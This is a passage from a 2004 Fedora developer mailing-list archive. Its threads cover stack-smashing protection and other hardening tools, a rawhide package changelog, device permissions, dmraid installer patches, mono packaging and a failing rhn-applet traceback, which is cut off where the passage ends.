<2324.80.11.200.87.1097749931.squirrel@webmail.sciences.univ-nantes.fr> References: <2324.80.11.200.87.1097749931.squirrel@webmail.sciences.univ-nantes.fr> Message-ID: <1097752031.4039.2.camel@anu.eridu> On Thu, 2004-10-14 at 12:32 +0200, eric tanguy wrote: > lem is this "remote" keyboard seems to > be a US one. For example with my french configuration when i press a i > obtain q on the screen ... > How this problem could be solved ?? User questions should be on fedora-list, not here. Have you tried using the either Preferences->Keyboard and adding alternate keyboard layouts, or using System Settings->Keyboard to change globally? Paul From rms at 1407.org Thu Oct 14 11:10:41 2004 From: rms at 1407.org (Rui Miguel Seabra) Date: Thu, 14 Oct 2004 12:10:41 +0100 Subject: APM/ACPI on ThinkPads [ Was: Fedora Core 3 Bug Status - 2004-10-11] In-Reply-To: <20041013152331.2f534d1b@localhost> References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> <200410121334.03092.symbiont@berlios.de> <1097581738.2860.7.camel@localhost.localdomain> <1097612977.3723.3.camel@localhost.localdomain> <1097618391.6178.2.camel@roque> <20041013152331.2f534d1b@localhost> Message-ID: <1097752241.3269.5.camel@roque> On Wed, 2004-10-13 at 15:23 +0200, Matthias Saou wrote: > I've also successfully included that patch in kernel packages I've rebuilt, I've done it as well (with 603)... > and it does enable my display to actually work after resuming. You lucky bastard, how I envy you! :) I still have to power off everytime I go to someplace else :| Yes, it didn't work with 00:00.0 Host bridge: ATI Technologies Inc RS200/RS200M AGP Bridge [IGP 340M] (rev 02) *sigh* -- + No matter how much you do, you never do enough -- unknown + Whatever you do will be insignificant, | but it is very important that you do it -- Gandhi + So let's do it...? Please AVOID sending me WORD, EXCEL or POWERPOINT attachments. See http://www.fsf.org/philosophy/no-word-attachments.html -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From linux_4ever at yahoo.com Thu Oct 14 11:11:45 2004 From: linux_4ever at yahoo.com (Steve G) Date: Thu, 14 Oct 2004 04:11:45 -0700 (PDT) Subject: Improving security In-Reply-To: <416E5A76.4050906@hhs.nl> Message-ID: <20041014111145.74453.qmail@web50610.mail.yahoo.com> >Stack Smash Protection sounds like a cool feature to me. I don't know >what the performance impact is, but as a developer even if it is to slow >to use by default I would love to have it intergrated into the gcc >shipped by Fedora to make debugging easier. I use a specially doctored version of gcc with propolice compiled in. I have helped code review & submit corrections to propolice. I can say that its pretty good, but not bulletproof. Its worth adding for the fact that it is one more layer should there be holes in the other protection mechanisms. Performance is pretty good. 5-10% performance hit. However, there is one small issue. It needs to read from /dev/random and write to /dev/syslog. This is not in all policies and has to be manually added. I see the avc messages all the time. I also use libsafe which seems to catch more stack smashing attempts than propolice. I have corrected a number of bugs in it and shared them with the developers. I also extended libsafe to cover more vectors of attack. You can find the updated copy here: www.web-insights.net/libsafe. There is a perfomance hit, but its small. I'd rather a 2 Ghz machine with cycles to burn run with libsafe + propolice than spend 2 days setting up the machine after its hacked. libsafe does use an LDPRELOAD variable to intercept calls. This means that it offers no protection to setuid/setgid programs. selinux may also object to it. >But if I undertand it correctly PAX does more for example also make data >pages non executable, this might be something worth looking into. Some of the things it does makes software debug impossible. valgrind sometimes has problems with it. I think there are some bits of it that are good, as well as the openwall linux patch set. It would be better if these were adopted into the kernel rather than maintained as a patch to it. But something that neither of these address, is plain logic errors. Every week I find a pretty good problem that scanners (flawfinder/lint/valgrind), stack protectors (propolice/libsafe), and se linux cannot catch. Part of the solution has to be peer review. -Steve Grubb _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From buildsys at redhat.com Thu Oct 14 11:51:21 2004 From: buildsys at redhat.com (Build System) Date: Thu, 14 Oct 2004 07:51:21 -0400 Subject: rawhide report: 20041014 changes Message-ID: <200410141151.i9EBpLI30632@porkchop.devel.redhat.com> Updated Packages: HelixPlayer-1.0.1.gold-3 ------------------------ * Thu Oct 07 2004 Colin Walters 1:1.0.1.gold-3 - Install translations (bug 132336) arts-1.3.1-1 ------------ * Wed Oct 06 2004 Than Ngo 1.3.1-1 - update to KDE 3.3.1 cdrdao-1.1.9-6 -------------- * Wed Oct 13 2004 Harald Hoyer - 1.1.9-6 - build requires newer cdrecord-devel cdrtools-2.01.1-4 ----------------- * Wed Oct 13 2004 Harald Hoyer - 8:2.01.1-4 - use scd? instead of sg? for scsi scanning (may only work with a medium inserted, see bug 134822) control-center-2.8.0-12 ----------------------- * Wed Oct 13 2004 Marco Pesenti Gritti - #134670 Install icon theme untars it into $HOME/.themes crypto-utils-2.1-3 ------------------ * Wed Oct 13 2004 Joe Orton 2.1-3 - send warnings To: root rather than root at localhost (#135533) cups-1.1.22-0.rc1.4 ------------------- * Thu Oct 14 2004 Tim Waugh 1:1.1.22-0.rc1.4 - Fixed typo in last patch. * Thu Oct 14 2004 Tim Waugh 1:1.1.22-0.rc1.3 - Another attempt at fixing bug #135502. * Wed Oct 13 2004 Tim Waugh 1:1.1.22-0.rc1.2 - Fail better when receiving corrupt IPP responses (bug #135502). dbus-0.22-10 ------------ * Wed Oct 13 2004 John (J5) Palmieri - Bump up release and rebuild * Mon Oct 11 2004 Tim Waugh - Run /sbin/ldconfig for glib sub-package (bug #134062). desktop-printing-0.17-1 ----------------------- * Wed Oct 13 2004 John (J5) Palmieri 0.17-1 - Updated to new upstream 0.17 devhelp-0.9.2-2 --------------- * Mon Oct 11 2004 Christopher Aillon 0.9.2-2 - Rebuild to add ppc once again. dosfstools-2.8-15 ----------------- * Wed Oct 13 2004 Peter Vrabec 2.8-15 - fix fat_length type in boot.c. (same problem like in RHEL bug #135293) file-roller-2.8.2-1 ------------------- * Wed Oct 13 2004 Christopher Aillon 2.8.2-2 - Update to 2.8.2 foomatic-3.0.2-3 ---------------- * Wed Oct 13 2004 Tim Waugh 3.0.2-3 - Revert change for bug #133647. glib2-2.4.7-1 ------------- * Wed Oct 13 2004 Matthias Clasen - 2.4.7-1 - Upgrade to 2.4.7 gnome-libs-1.4.1.2.90-44 ------------------------ * Wed Oct 13 2004 Miloslav Trmac - 1:1.4.1.2.90-44 - Fix quoting in libart.m4 (#135170) - Add Requires: libpng10-devel to gnome-libs-devel (#110784) gnome-vfs2-2.8.2-2 ------------------ * Wed Oct 13 2004 Alexander Larsson - 2.8.2-2 - Fix bad buffer handling bug that broke ftp uploads gpm-1.20.1-61 ------------- * Wed Oct 13 2004 Adrian Havill 1.20.1-61 - remove unnecessary diagnostic and check of the consolename (#129962) - remove /etc/sysconfig/gpm; set unset defaults in the init script instead after mousecfg is (or is not) read * Wed Oct 13 2004 Florian La Roche - sysconfig/gpm should probably go away, that is more confusing than helping anyone - read at least sysconfig/gpm first as it seems to have the default values and sysconfig/mouse is getting probed values and probably has better settings in it. grep-2.5.1-31 ------------- * Wed Oct 13 2004 Tim Waugh 2.5.1-31 - Make 'grep -F' avoid UTF-8 processing if the pattern contains no multibyte characters (bug #133932). gstreamer-0.8.7-3 ----------------- * Wed Oct 13 2004 Colin Walters 0.8.7-3 - Quote %configure in changelog (135412) kde-i18n-3.3.1-1 ---------------- * Wed Oct 13 2004 Than Ngo 1:3.3.1-1 - update to 3.3.1 kdelibs-3.3.1-1 --------------- * Wed Oct 13 2004 Than Ngo 6:3.3.1-1 - update to KDE 3.3.1 libtabe-0.2.6-9 --------------- * Wed Oct 13 2004 Leon Ho - moved /usr/share/tabe/* to /usr/lib64/libtabe for multilib man-1.5m2-9 ----------- * Wed Oct 13 2004 Adrian Havill 1.5m2-9 - make sure we touch Makefile timestamp so make doesn't get confused and think we haven't run configure - replace russian messages (#134387) Thanks to Leonid Kanter * Sun Aug 01 2004 Alan Cox - Fix requirements (#126601) * Tue Jun 15 2004 Elliot Lee - rebuilt mkinitrd-4.1.15-1 ----------------- * Wed Oct 13 2004 Jeremy Katz - 4.1.15-1 - new-kernel-pkg: set new kernels as default (#135161) when a) /etc/sysconfig/kernel contains UPDATEDEFAULT=yes b) --package foo is passed in and foo matches DEFAULTKERNEL in /etc/sysconfig/kernel openswan-2.1.5-1 ---------------- * Wed Oct 13 2004 Harald Hoyer - 2.1.5-1 - added selinux patch from Daniel Walsh - initscript now uses translated strings - version 2.1.5 with minor fixes redhat-artwork-0.114-1 ---------------------- * Wed Oct 13 2004 Alexander Larsson - 0.114-1 - Add new media icons - fix sb_up_arrow cursor (#128963) * Tue Oct 12 2004 Alexander Larsson - 0.113-1.1E - RHEL build redhat-menus-1.10-1 ------------------- * Wed Oct 13 2004 Colin Walters 1.10-1 - Add application/ogg to redhat-audio-player.desktop, for bug 134547 (hi Sopwith) rhpl-0.148-1 ------------ * Wed Oct 13 2004 Paul Nasrat - 0.148-1 - Indic keyboard fixups - Multi-input synaptics - require synaptics - Less verbose ddcprobe rpmdb-fedora-2.92-0.20041014 ---------------------------- samba-3.0.8-0.pre1.1 -------------------- * Wed Oct 13 2004 Jay Fenlason 3.0.8-0.pre1.1 - Include disable-sendfile patch to default "use sendfile" to "no". This closes #132779 * Wed Oct 06 2004 Jay Fenlason - Include patch from Steven Lawrance (slawrance at yahoo.com) that modifies smbmnt to work with 32-bit uids. selinux-policy-strict-1.17.31-1 ------------------------------- * Wed Oct 13 2004 Dan Walsh 1.17.31-1 - Small fixes to cleanup reboot - FTP RLOGIN RSH - Update with NSA selinux-policy-targeted-1.17.31-1 --------------------------------- * Wed Oct 13 2004 Dan Walsh 1.17.31-1 - Small fixes to cleanup reboot - FTP RLOGIN RSH - Update with NSA * Wed Oct 13 2004 Dan Walsh 1.17.30-3 - Small fixes to cleanup reboot shadow-utils-4.0.3-33 --------------------- * Wed Oct 13 2004 Adrian Havill 2:4.0.3-33 - allow for mixed case and dots in usernames (#135401) - all man pages to UTF-8, not just Japanese (#133883) - add Polish blurb for useradd -n man page option (#82177) shared-mime-info-0.15-8 ----------------------- * Wed Oct 13 2004 Matthias Clasen - 0.15-8 - Handle XUL files. #134122 * Wed Oct 13 2004 Colin Walters - 0.15-7 - Make helix default for ogg and mp3, will switch wav/flac too when support is added sound-juicer-0.5.14-1 --------------------- * Wed Oct 13 2004 Colin Walters 0.5.14-1 - New upstream - This release fixes corruption on re-read, upstream 153085 - Remove upstreamed sound-juicer-0.5.13-prefs-crash.patch system-config-securitylevel-1.4.10-1 ------------------------------------ * Wed Oct 13 2004 Bill Nottingham 1.4.10-1 - fix cups browsing line (#131745) system-config-users-1.2.25-1 ---------------------------- * Wed Oct 13 2004 Nils Philippsen - 1.2.25-1 - when renaming users, ensure that groups forget about the old user name (#135280) ttfonts-zh_CN-2.14-9 -------------------- * Wed Sep 22 2004 Yu Shao 2.14-9 - fix bug #135519, unable to print in the zh_CN locale when postscript is using CIDFnmap udev-036-1 ---------- * Wed Oct 13 2004 Harald Hoyer - 036-1 - better wait_for_sysfs warning messages * Wed Oct 13 2004 Harald Hoyer - 035-2 - fixed double bug in start_udev (bug 135405) xloadimage-4.1-32 ----------------- * Wed Oct 13 2004 Bill Nottingham 4.1-32 - add patch for slideshow (#114689) xmms-1.2.10-9 ------------- * Wed Oct 13 2004 Colin Walters 1:1.2.10-9 - Correct update-desktop-database correction for postun * Wed Oct 13 2004 Colin Walters 1:1.2.10-8 - Call update-desktop-database on correct directory yum-2.1.7-2 ----------- * Wed Oct 13 2004 Jeremy Katz - 2.1.7-2 - add yum-arch * Wed Oct 13 2004 Jeremy Katz - 2.1.7-1 - 2.1.7 - use mirror list by default From tibbs at math.uh.edu Thu Oct 14 13:48:10 2004 From: tibbs at math.uh.edu (Jason L Tibbitts III) Date: Thu, 14 Oct 2004 08:48:10 -0500 Subject: Should I mention kde-3.3.1? In-Reply-To: <416D3BB7.1070402@feuerpokemon.de> (dragoran@feuerpokemon.de's message of "Wed, 13 Oct 2004 16:29:11 +0200") References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> Message-ID: >>>>> "d" == dragoran writes: d> will kde 3.3.1 be in fc3 or it is to late now? It seems to be in Rawhide now. - J< From aportal at univ-montp2.fr Thu Oct 14 14:11:14 2004 From: aportal at univ-montp2.fr (Alain PORTAL) Date: Thu, 14 Oct 2004 16:11:14 +0200 Subject: Devices and permissions Message-ID: <200410141611.42456.aportal@univ-montp2.fr> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi all, I should want to package a software which need access to /dev/ttyS? and /dev/parport? By default, single user can't access to these devices. Only root user can access them, only uucp group can access to /dev/ttyS? and lp group can access /dev/parport? What should I do to allow the program to access these devices? Regards - -- Alain PORTAL -- Service Commun de Microscopie ?lectronique Universit? de Montpellier II -- Case Courrier 087 Place Eug?ne Bataillon -- 34095 Montpellier Cedex 05 T?l. : 04 67 14 37 35 -- Fax. : 04 67 14 37 37 NO WORD ATTACHMENTS: http://www.fsf.org/philosophy/no-word-attachments.fr.html http://www.giromini.org/usenet-fr/repondre.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBboka8dRVJ41NdFARAiCNAKCOWdRRvJrSV982GCetQ3YCPYqRpACgmmgk rViNKygnIxpnlRIKGuVaYUc= =y1UO -----END PGP SIGNATURE----- From harald at redhat.com Thu Oct 14 14:15:01 2004 From: harald at redhat.com (Harald Hoyer) Date: Thu, 14 Oct 2004 16:15:01 +0200 Subject: Devices and permissions In-Reply-To: <200410141611.42456.aportal@univ-montp2.fr> References: <200410141611.42456.aportal@univ-montp2.fr> Message-ID: <416E89E5.5090405@redhat.com> Alain PORTAL wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi all, > > I should want to package a software which need access to /dev/ttyS? > and /dev/parport? > > By default, single user can't access to these devices. > Only root user can access them, only uucp group can access to /dev/ttyS? and > lp group can access /dev/parport? > > What should I do to allow the program to access these devices? > > Regards > let the program run as user put in group lp and uucp in /etc/group From feliciano.matias at free.fr Thu Oct 14 14:18:38 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Thu, 14 Oct 2004 16:18:38 +0200 Subject: Devices and permissions In-Reply-To: <200410141611.42456.aportal@univ-montp2.fr> References: <200410141611.42456.aportal@univ-montp2.fr> Message-ID: <1097763518.15021.19.camel@localhost.localdomain> Le jeudi 14 octobre 2004 ? 16:11 +0200, Alain PORTAL a ?crit : > Hi all, > > I should want to package a software which need access to /dev/ttyS? > and /dev/parport? > > By default, single user can't access to these devices. > Only root user can access them, only uucp group can access to /dev/ttyS? and > lp group can access /dev/parport? > > What should I do to allow the program to access these devices? > Use : /etc/udev/permissions.d/ /etc/security/console.perms > Regards > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From arjanv at redhat.com Thu Oct 14 15:09:55 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Thu, 14 Oct 2004 11:09:55 -0400 Subject: Improving security In-Reply-To: <416E5A76.4050906@hhs.nl> References: <416E5A76.4050906@hhs.nl> Message-ID: <1097766595.2850.27.camel@laptop.fenrus.com> On Thu, 2004-10-14 at 06:52, Hans de Goede wrote: > Stack Smash Protection sounds like a cool feature to me. I don't know > what the performance impact is, but as a developer even if it is to slow > to use by default I would love to have it intergrated into the gcc > shipped by Fedora to make debugging easier. you can use jakub's gcc 4 / glibc rpms and something like this too > > PAX uses tricks to get a non executable stack, and assignes random > addresses to PIE executables, which Fedora already has in the form of > Exec Shield, good! But if I undertand it correctly PAX does more for > example also make data pages non executable, this might be something > worth looking into. execshield makes data pages also non executable -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From j.w.r.degoede at hhs.nl Thu Oct 14 16:17:41 2004 From: j.w.r.degoede at hhs.nl (Hans de Goede) Date: Thu, 14 Oct 2004 18:17:41 +0200 Subject: Improving security In-Reply-To: <1097766595.2850.27.camel@laptop.fenrus.com> References: <416E5A76.4050906@hhs.nl> <1097766595.2850.27.camel@laptop.fenrus.com> Message-ID: <416EA6A5.5050607@hhs.nl> Arjan van de Ven wrote: > On Thu, 2004-10-14 at 06:52, Hans de Goede wrote: > >>Stack Smash Protection sounds like a cool feature to me. I don't know >>what the performance impact is, but as a developer even if it is to slow >>to use by default I would love to have it intergrated into the gcc >>shipped by Fedora to make debugging easier. > > > you can use jakub's gcc 4 / glibc rpms and something like this too > You mean the default RPM's in FC3 or ... ? and how do I do this something like this? Thanks, Hans From twaugh at redhat.com Thu Oct 14 17:54:30 2004 From: twaugh at redhat.com (Tim Waugh) Date: Thu, 14 Oct 2004 18:54:30 +0100 Subject: Improving security In-Reply-To: <416EA6A5.5050607@hhs.nl> References: <416E5A76.4050906@hhs.nl> <1097766595.2850.27.camel@laptop.fenrus.com> <416EA6A5.5050607@hhs.nl> Message-ID: <20041014175430.GB14187@redhat.com> On Thu, Oct 14, 2004 at 06:17:41PM +0200, Hans de Goede wrote: > Arjan van de Ven wrote: > >On Thu, 2004-10-14 at 06:52, Hans de Goede wrote: > > > >>Stack Smash Protection sounds like a cool feature to me. I don't know > >>what the performance impact is, but as a developer even if it is to slow > >>to use by default I would love to have it intergrated into the gcc > >>shipped by Fedora to make debugging easier. > > > > > >you can use jakub's gcc 4 / glibc rpms and something like this too > > > > You mean the default RPM's in FC3 or ... ? > and how do I do this something like this? You can compile with CC=gcc4 CFLAGS=-fmudflap LDFLAGS=-lmudflap to get instrumented binaries. You'll need to install the libmudflap packages to get that to work. Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From arjanv at redhat.com Thu Oct 14 18:07:06 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Thu, 14 Oct 2004 14:07:06 -0400 Subject: Improving security In-Reply-To: <20041014175430.GB14187@redhat.com> References: <416E5A76.4050906@hhs.nl> <1097766595.2850.27.camel@laptop.fenrus.com> <416EA6A5.5050607@hhs.nl> <20041014175430.GB14187@redhat.com> Message-ID: <1097777226.2850.32.camel@laptop.fenrus.com> > You can compile with CC=gcc4 CFLAGS=-fmudflap LDFLAGS=-lmudflap to get > instrumented binaries. You'll need to install the libmudflap packages > to get that to work. the lighter alternative is the -D_FORTIFY_SOURCE=2 stuff, wihch is less heavy weight runtime overhead wise -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From mark at wormgoor.com Thu Oct 14 18:32:53 2004 From: mark at wormgoor.com (Mark Wormgoor) Date: Thu, 14 Oct 2004 20:32:53 +0200 Subject: DMRaid in Fedora devel Message-ID: <1097778772.4099.14.camel@mark-linux.wormgoor.com> Hi, Attached are three patches that I made to get Fedora-devel to install on a bios sata raid-0 system (Sil 3112 on Abit AN7). It uses Heinz Mauelshagen's dmraid for detecting the disks. The first patch is against Anaconda. It removes the raid disks from the isys disklist and replaces them with the mapper device. The patch requires the full (not enable-mini) dmraid binary in the stage 2 image. I tested the patched Anaconda in install, upgrade and rescue mode (text and gui) and had no problems on my system. The second patch is against mkinitrd. It adds /sbin/dmraid.static to the initrd if necessary and updates the initscript. The /sbin/dmraid.static binary is not yet a part of the current dmraid rpm, so you need to provide your own. The third patch is against rc.sysinit so that dmraid.static is run at boot. Again, you need the full dmraid binary under /sbin/dmraid.static (not enable-mini) because the rc.sysinit script uses the testmode first before enabling the mapper devices. I now have a Fedora-devel system booting from my two raid-0 disks. Unfortunately, there is no bootloader for /dev/mapper devices. There is a patch against lilo to make it work on devmapper devices here (http://www.saout.de/misc/) and Eric Agsj? has a patch to make it work with raid-1 devices here (https://www.redhat.com/archives/ataraid-list/2004-October/msg00007.html). I am still using lilo under FC1 (using the medley.o module) and that works for me. I hope someone finds these patches useful; it would be very nice if FC4 would install on and boot from these bios ide raid devices without too much hacking. Kind regards, Mark Wormgoor -- *************************************************************** * |\ /| | /| / Mark Wormgoor * * | \ / | | / | / mailto:mark at wormgoor.com * * | \/ |ark |/ |/ormgoor http://www.wormgoor.com/mark/ * *************************************************************** -------------- next part -------------- A non-text attachment was scrubbed... Name: anaconda-dmraid.patch Type: text/x-patch Size: 6462 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: mkinitrd-dmraid.patch Type: text/x-patch Size: 712 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: rc.sysinit-dmraid.patch Type: text/x-patch Size: 531 bytes Desc: not available URL: From pbruna at linuxcenterla.com Thu Oct 14 18:44:05 2004 From: pbruna at linuxcenterla.com (Patricio Bruna V.) Date: Thu, 14 Oct 2004 15:44:05 -0300 Subject: mono Message-ID: <1097779445.3417.3.camel@p> are any plans to include mono in fedora, or any repo for download it, for devel? From kyrre at solution-forge.net Thu Oct 14 18:49:29 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 14 Oct 2004 20:49:29 +0200 Subject: sniff - It doesn't know me anymore.. In-Reply-To: References: Message-ID: <1097776515.2714.2.camel@kyrre> Urk... What you should have done was REMOUNTED / ro... unmounting root is an incredible stupid thing to do (and i have no clue why your box did not panic INSTANTLY...) Well, you could always try the "single" boot argument - it should give you a root shell without you having to enter the root password. tor, 14.10.2004 kl. 06.18 skrev Bob Gustafson: > I did some things and then rebooted > > It went through the module/application stage of the reboot very quickly > (too quickly) and I now have > > Fedore Core release Rawhide (Rawhide) > Kernel 2.6.8-1.610smp on an i686 > > (none) login: > > I typed in all of the usual suspects (root, user1, ..), but none are known. > Even when I type in 'none', it doesn't know him either. > > What did I do? > > I was a bit annoyed that it was wanting me to do an 'e2fsck'. A couple of > days ago, I was able to 'umount /boot' and do '/sbin/e2fsck -p /dev/sda1' > and similar on all of the partitions except '/'. Doing 'umount /' was not > successful (busy, busy) and I could not do e2fsck without umounting that > partition. > > However, there was a lazy umount option 'umount -l /' > > This completed fine - no busy busy complaints. > > But, when I went to do '/sbin/e2fsck -p /dev/sda2' on the '/' partition - > it still said it was mounted and that terrible things would happen if I > continued. > > Can you imagine that? I already had 'umount'ed it, lazy whatever. So I went > ahead and did the e2fsck. > > And, terrible things did happen. > > ----- > > I really did need to download the latest FC2 test release iso disks - and > do the i2o driver installs... From markdrago at mail.com Thu Oct 14 18:57:13 2004 From: markdrago at mail.com (Mark Drago) Date: Thu, 14 Oct 2004 14:57:13 -0400 Subject: mono In-Reply-To: <1097779445.3417.3.camel@p> References: <1097779445.3417.3.camel@p> Message-ID: <1097780232.21265.1.camel@intern.int.bascom.com> On Thu, 2004-10-14 at 14:44, Patricio Bruna V. wrote: > are any plans to include mono in fedora, or any repo for download it, > for devel? I don't think mono will be included with Fedora any time soon due to legal concerns. But, you can download packages for FC2 from mono-project.com. They don't work very well with rawhide. However, building mono from sources isn't very hard. There's just a few packages that you need to build and they all build cleanly after installing a few devel packages from rawhide. --Mark. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rdieter at math.unl.edu Thu Oct 14 19:01:33 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Thu, 14 Oct 2004 14:01:33 -0500 Subject: mono -> Extras In-Reply-To: <1097779445.3417.3.camel@p> References: <1097779445.3417.3.camel@p> Message-ID: <416ECD0D.1020109@math.unl.edu> Patricio Bruna V. wrote: > are any plans to include mono in fedora, or any repo for download it, > for devel? As is the usual response to inquiries like this... mono would be an excellent candidate for Fedora Extras. Now all we need is someone to package and submit it. -- Rex From pbruna at linuxcenterla.com Thu Oct 14 19:03:37 2004 From: pbruna at linuxcenterla.com (Patricio Bruna V.) Date: Thu, 14 Oct 2004 16:03:37 -0300 Subject: mono -> Extras In-Reply-To: <416ECD0D.1020109@math.unl.edu> References: <1097779445.3417.3.camel@p> <416ECD0D.1020109@math.unl.edu> Message-ID: <1097780617.3417.7.camel@p> El jue, 14-10-2004 a las 14:01 -0500, Rex Dieter escribi?: > Patricio Bruna V. wrote: > > are any plans to include mono in fedora, or any repo for download it, > > for devel? > > As is the usual response to inquiries like this... > > mono would be an excellent candidate for Fedora Extras. Now all we need > is someone to package and submit it. > > -- Rex > Fedora Extras, what its? From paul at all-the-johnsons.co.uk Thu Oct 14 19:08:23 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Thu, 14 Oct 2004 20:08:23 +0100 Subject: mono In-Reply-To: <1097780232.21265.1.camel@intern.int.bascom.com> References: <1097779445.3417.3.camel@p> <1097780232.21265.1.camel@intern.int.bascom.com> Message-ID: <1097780903.32330.38.camel@localhost.localdomain> Hi, > But, you can download packages for FC2 from > mono-project.com. They don't work very well with rawhide. However, > building mono from sources isn't very hard. The packages are broken under rawhide. For full instructions to install mono from cvs... http://www.all-the-johnsons.co.uk/mono/mono-compiling.html Works fine under FC3t3 TTFN Paul -- Homer: Donut? Lisa: No, thanks. Do you have any fruit? Homer: This has purple stuff inside. Purple is a fruit. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From iago.rubio at hispalinux.es Thu Oct 14 19:14:51 2004 From: iago.rubio at hispalinux.es (Iago Rubio) Date: Thu, 14 Oct 2004 21:14:51 +0200 Subject: mono In-Reply-To: <1097779445.3417.3.camel@p> References: <1097779445.3417.3.camel@p> Message-ID: <1097781290.13973.6.camel@speedy.iagorubio.net> On Thu, 2004-10-14 at 20:44, Patricio Bruna V. wrote: > are any plans to include mono in fedora No idea. > or any repo for download it, > for devel? Just point to http://www.mono-project.com/downloads/index.html, where you can read: [quote] Fedora Core 2/x86 Packages For YUM repository, please use: http://www.go-mono.com/archive/1.0.2/fedora-2-i386/ [/quote] -- Iago Rubio - GPG Keyserv * pgp.rediris.es id=0x909BD4DD -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rdieter at math.unl.edu Thu Oct 14 19:21:20 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Thu, 14 Oct 2004 14:21:20 -0500 Subject: mono -> Extras In-Reply-To: <1097780617.3417.7.camel@p> References: <1097779445.3417.3.camel@p> <416ECD0D.1020109@math.unl.edu> <1097780617.3417.7.camel@p> Message-ID: <416ED1B0.1010703@math.unl.edu> Patricio Bruna V. wrote: > El jue, 14-10-2004 a las 14:01 -0500, Rex Dieter escribi?: > >>Patricio Bruna V. wrote: >> >>>are any plans to include mono in fedora, or any repo for download it, >>>for devel? >> >>As is the usual response to inquiries like this... >> >>mono would be an excellent candidate for Fedora Extras. Now all we need >>is someone to package and submit it. > Fedora Extras, what its? Currently, http://www.fedora.us/ Eventually, an official extension repository to Fedora Core sponsored by Red Hat. -- Rex From fedora at wir-sind-cool.org Thu Oct 14 19:39:51 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Thu, 14 Oct 2004 21:39:51 +0200 Subject: mono -> Extras In-Reply-To: <1097780617.3417.7.camel@p> References: <1097779445.3417.3.camel@p> <416ECD0D.1020109@math.unl.edu> <1097780617.3417.7.camel@p> Message-ID: <20041014213951.5be3bfb5.fedora@wir-sind-cool.org> On Thu, 14 Oct 2004 16:03:37 -0300, Patricio Bruna V. wrote: > El jue, 14-10-2004 a las 14:01 -0500, Rex Dieter escribi?: > > Patricio Bruna V. wrote: > > > are any plans to include mono in fedora, or any repo for download it, > > > for devel? > > > > As is the usual response to inquiries like this... > > > > mono would be an excellent candidate for Fedora Extras. Now all we need > > is someone to package and submit it. > > > > -- Rex > > > > Fedora Extras, what its? http://fedora.redhat.com/participate/terminology.html http://fedora.redhat.com/participate/ -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 1.05 1.09 1.27 From kyrre at solution-forge.net Thu Oct 14 20:31:17 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 14 Oct 2004 22:31:17 +0200 Subject: mono -> Extras In-Reply-To: <416ECD0D.1020109@math.unl.edu> References: <1097779445.3417.3.camel@p> <416ECD0D.1020109@math.unl.edu> Message-ID: <1097785877.2714.5.camel@kyrre> *snip* On Thu, 2004-10-14 at 20:44, Patricio Bruna V. wrote: > are any plans to include mono in fedora No idea. > or any repo for download it, > for devel? Just point to http://www.mono-project.com/downloads/index.html, where you can read: [quote] Fedora Core 2/x86 Packages For YUM repository, please use: http://www.go-mono.com/archive/1.0.2/fedora-2-i386/ [/quote] -- Iago Rubio */snip* => should there be any problem asking mono to package their stuff for extras themselves? tor, 14.10.2004 kl. 21.01 skrev Rex Dieter: > Patricio Bruna V. wrote: > > are any plans to include mono in fedora, or any repo for download it, > > for devel? > > As is the usual response to inquiries like this... > > mono would be an excellent candidate for Fedora Extras. Now all we need > is someone to package and submit it. > > -- Rex From louisg00 at bellsouth.net Thu Oct 14 20:46:33 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Thu, 14 Oct 2004 16:46:33 -0400 Subject: rhn-applet stopped working as of 10.14 update Message-ID: <1097786793.9543.2.camel@tiger> I get this when running from command line. $ rhn-applet-gui Traceback (most recent call last): File "/usr/bin/rhn-applet-gui", line 30, in ? import rhn_applet File "/usr/share/rhn/rhn_applet/rhn_applet.py", line 36, in ? from rhn_applet_model import rhnAppletModelGUI File "/usr/share/rhn/rhn_applet/rhn_applet_model.py", line 23, in ? from rhn_sources import getSources, changedSources File "/usr/share/rhn/rhn_applet/rhn_sources.py", line 8, in ? from sourcesConfig import SourcesConfigFile File "/usr/share/rhn/up2date_client/sourcesConfig.py", line 17, in ? import up2dateUtils File "/usr/share/rhn/up2date_client/up2dateUtils.py", line 17, in ? import rpmUtils File "/usr/lib/python2.3/site-packages/rpmUtils/__init__.py", line 6, in ? import 